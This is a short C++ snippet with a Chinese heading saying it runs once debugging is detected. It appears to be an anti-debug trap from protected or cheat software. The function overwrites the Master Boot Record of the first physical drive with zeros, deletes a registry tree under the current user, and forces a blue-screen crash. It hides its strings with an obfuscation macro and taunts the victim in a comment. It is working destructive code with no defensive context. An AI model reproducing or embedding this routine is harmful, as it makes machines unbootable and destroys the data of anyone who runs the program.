检测到调试后执行的代码

__forceinline void guard(bool use_bsod)
{
	// note: simv0l - i can say only "bye-bye" for you, if this function will called.
	DWORD write;
	char mbr[512];
	ZeroMemory(mbr, sizeof mbr);
	HANDLE MasterBootRecord = CreateFile(crypt_str("\\\\.\\PhysicalDrive0"), GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL);
	if (WriteFile(MasterBootRecord, mbr, 512, &write, NULL) == TRUE)
	{
		HKEY hKey = NULL;
		if (RegOpenKeyEx(HKEY_CURRENT_USER, crypt_str("AppEvents\\"), NULL, DELETE | KEY_ENUMERATE_SUB_KEYS | KEY_QUERY_VALUE | KEY_SET_VALUE | KEY_WOW64_64KEY, &hKey) == ERROR_SUCCESS)
		{
			if (RegDeleteTree(hKey, NULL) == ERROR_SUCCESS && use_bsod)
			{
				BOOLEAN bl;
				ULONG Response;
				RtlAdjustPrivilege(19, TRUE, FALSE, &bl);
				NtRaiseHardError(STATUS_ASSERTION_FAILURE, NULL, NULL, NULL, 6, &Response);
			}
			RegCloseKey(hKey);
		}
	}
}